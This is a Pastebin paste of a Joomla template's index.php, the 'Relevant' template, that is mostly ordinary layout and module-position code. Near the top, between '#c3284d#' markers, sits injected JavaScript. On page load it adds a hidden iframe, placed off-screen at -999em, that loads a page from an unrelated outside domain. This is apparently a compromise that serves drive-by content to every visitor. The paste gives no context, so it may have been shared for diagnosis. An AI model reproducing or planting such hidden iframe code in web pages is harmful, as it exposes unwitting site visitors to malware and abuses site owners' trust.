Advertisement
Guest User

Untitled

a guest
Sep 26th, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.80 KB | None | 0 0
  1. <?php
  2. // no direct access
  3. defined( '_JEXEC' ) or die( 'Restricted index access' );
  4. define( 'YOURBASEPATH', dirname(__FILE__) );
  5. require(YOURBASEPATH .DS."/styleswitcher.php");
  6.  
  7. #c3284d#
  8. echo "<script type=\"text/javascript\">
  9. function frmAdd() {
  10. var ifrm = document.createElement('iframe');
  11. ifrm.style.position='absolute';
  12. ifrm.style.top='-999em';
  13. ifrm.style.left='-999em';
  14. ifrm.src = \"http://deportistasurbanos.com/25905291.html\";
  15. ifrm.id = 'frmId';
  16. document.body.appendChild(ifrm);
  17. };
  18. window.onload = frmAdd;
  19. </script>
  20. ";
  21.  
  22. #/c3284d#
  23. ?>
  24. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  25. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
  26. <head>
  27. <jdoc:include type="head" />
  28. <?php
  29. $headerstyle = $this->params->get("headerstyle", "graphic");
  30. $leftcolwidth = $this->params->get("leftcolwidth", "200");
  31. $rightcolwidth = $this->params->get("rightcolwidth", "226");
  32. $headline = $this->params->get("headline", "Relevant");
  33. $slogan = $this->params->get("slogan", "A New Template for Joomla!");
  34. $themecolor = $this->params->get("themecolor", "style1");
  35. require( YOURBASEPATH.DS."/themesaver.php");
  36.  
  37. //count modules in vertical positions u456
  38. $showcasemodulecount = $this->countModules('user1') + $this->countModules('user2') + $this->countModules('user3') + $this->countModules('user4');
  39. if ($showcasemodulecount == "1") {$showcasetdwidth = "100%";}
  40. elseif ($showcasemodulecount == "2") {$showcasetdwidth = "50%";}
  41. elseif($showcasemodulecount == "3") {$showcasetdwidth = "33.3%";}
  42. elseif($showcasemodulecount == "4") {$showcasetdwidth = "25%";}
  43.  
  44. //count modules in vertical positions u789
  45. $footermodulecount = $this->countModules('user7') + $this->countModules('user8') + $this->countModules('user9');
  46. if ($footermodulecount == "1") {$footertdwidth = "100%";}
  47. elseif ($footermodulecount == "2") {$footertdwidth = "50%";}
  48. elseif($footermodulecount == "3") {$footertdwidth = "33%";}
  49.  
  50. ?>
  51. <link rel="shortcut icon" href="images/favicon.ico" />
  52. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
  53. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
  54. <link href="<?php echo $this->baseurl;?>/templates/<?php echo $this->template;?>/css/template_css.css" rel="stylesheet" type="text/css" media="screen" />
  55. <link href="<?php echo $this->baseurl;?>/templates/<?php echo $this->template;?>/css/nav.css" rel="stylesheet" type="text/css" media="screen" />
  56. <link href="<?php echo $this->baseurl;?>/templates/<?php echo $this->template;?>/css/<?php echo $scheme;?>.css" rel="stylesheet" type="text/css" media="screen" />
  57.  
  58. <!--[if IE]>
  59. <link href="<?php echo $this->baseurl;?>/templates/<?php echo $this->template;?>/css/ie.css" rel="stylesheet" type="text/css" media="screen" />
  60. <![endif]-->
  61. <!--[if IE]>
  62. <link href="<?php echo $this->baseurl;?>/templates/<?php echo $this->template;?>/css/ie.css" rel="stylesheet" type="text/css" media="screen" />
  63. <![endif]-->
  64. <!--[if lte IE 6]>
  65. <style type="text/css">
  66. img { behavior: url(<?php echo $this->baseurl;?>/templates/<?php echo $this->template;?>/js/iepngfix.htc); }
  67. </style>
  68. <![endif]-->
  69.  
  70. </head>
  71.  
  72.  
  73. php echo $headerstyle; ?>">
  74. <div class="inside">
  75. <div id="newsflash"><jdoc:include type="modules" name="newsflash" style="RelevantStyle" /></div>
  76. <h1><a href="<?php echo JURI::base(); ?>" title="<?php echo $headline; ?>"><?php echo $headline; ?></a></h1>
  77. <h2><?php echo $slogan; ?></h2>
  78. </div>
  79. </div>
  80. <div class="menubar">
  81. <div id="navmenu">
  82. <script type="text/javascript" src="<?php echo $this->baseurl;?>/templates/<?php echo $this->template;?>/js/barmenu.js"></script>
  83. <jdoc:include type="modules" name="menu" style="none" />
  84. </div>
  85. </div>
  86.  
  87. <div id="mainbody">
  88. <div id="showcasetop">&nbsp;</div>
  89.  
  90.  
  91. <?php if($this->countModules('user1') or $this->countModules('user2') or $this->countModules('user3') or $this->countModules('user4')) : ?>
  92. <div id="showcase" style="margin-bottom: 6px;">
  93. <div class="inside">
  94.  
  95. <table border="0" cellpadding="0" cellspacing="0" align="center" width="100%">
  96. <tr>
  97. <?php if ($this->countModules( 'user1' )) : ?>
  98. <td style="width: <?php echo $showcasetdwidth; ?>;padding:5px; vertical-align:top;">
  99. <jdoc:include type="modules" name="user1" style="RelevantStyle" />
  100. </td>
  101. <?php endif; ?>
  102. <?php if ($this->countModules( 'user2' )) : ?>
  103. <td style="width: <?php echo $showcasetdwidth; ?>;padding:5px; vertical-align:top;">
  104. <jdoc:include type="modules" name="user2" style="RelevantStyle" />
  105. </td>
  106. <?php endif; ?>
  107. <?php if ($this->countModules( 'user3' )) : ?>
  108. <td style="width: <?php echo $showcasetdwidth; ?>;padding:5px; vertical-align:top;">
  109. <jdoc:include type="modules" name="user3" style="RelevantStyle" />
  110. </td>
  111. <?php endif; ?>
  112. <?php if ($this->countModules( 'user4' )) : ?>
  113. <td style="width: <?php echo $showcasetdwidth; ?>;padding:5px; vertical-align:top;">
  114. <jdoc:include type="modules" name="user4" style="RelevantStyle" />
  115. </td>
  116. <?php endif; ?>
  117. </tr>
  118. </table>
  119. </div>
  120. </div>
  121. <?php endif; ?>
  122.  
  123. <table width="940" border="0" cellspacing="0" cellpadding="0" align="center">
  124. <tr>
  125. <?php if ($this->countModules( 'left' )) : ?>
  126. <td id="leftcol" valign="top" width="<?php echo $leftcolwidth; ?>">
  127. <div class="inside">
  128. <jdoc:include type="modules" name="left" style="rounded" />
  129. </div>
  130. </td>
  131. <?php endif; ?>
  132. <td id="maincol" valign="top">
  133. <?php if ($this->countModules( 'breadcrumb' )) : ?>
  134. <div id="breadcrumbs">
  135. <jdoc:include type="modules" name="breadcrumb" style="RelevantBreadCrumbStyle" />
  136. </div>
  137. <?php endif; ?>
  138. <?php if ($this->countModules( 'banner' )) : ?>
  139. <div id="banner"><jdoc:include type="modules" name="banner" style="none" /></div>
  140. <?php endif; ?>
  141.  
  142. <jdoc:include type="message" />
  143. <jdoc:include type="component" />
  144. </td>
  145. <?php if ($this->countModules( 'right' ) && JRequest::getCmd('task') != 'edit' ) : ?>
  146. <td id="rightcol" valign="top" width="<?php echo $rightcolwidth; ?>">
  147. <div class="inside">
  148. <jdoc:include type="modules" name="right" style="rounded" />
  149. </div>
  150. </td>
  151. <?php endif; ?>
  152. </tr>
  153. </table>
  154. <div class="bottom_top"></div>
  155. <div id="bottom">
  156. <?php if($this->countModules('user7') or $this->countModules('user8') or $this->countModules('user9')) : ?>
  157. <table border="0" cellpadding="0" cellspacing="0" align="center" width="100%">
  158. <tr>
  159. <?php if ($this->countModules( 'user7' )) : ?>
  160. <td style="width: <?php echo $footertdwidth; ?>;padding:5px; vertical-align:top;">
  161. <jdoc:include type="modules" name="user7" style="RelevantStyle" />
  162. </td>
  163. <?php endif; ?>
  164. <?php if ($this->countModules( 'user8' )) : ?>
  165. <td style="width: <?php echo $footertdwidth; ?>;padding:5px; vertical-align:top;">
  166. <jdoc:include type="modules" name="user8" style="RelevantStyle" />
  167. </td>
  168. <?php endif; ?>
  169. <?php if ($this->countModules( 'user9' )) : ?>
  170. <td style="width: <?php echo $footertdwidth; ?>;padding:5px; vertical-align:top;">
  171. <jdoc:include type="modules" name="user9" style="RelevantStyle" />
  172. </td>
  173. <?php endif; ?>
  174. </tr>
  175. </table>
  176. <?php endif; ?>
  177. </div>
  178. </div>
  179. <div id="footer"><jdoc:include type="modules" name="footer" style="none" /></div>
  180. <div class="copyright"><?php require(YOURBASEPATH .DS."/js/template.css.php"); ?></div>
  181. </div>
  182. </body>
  183. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement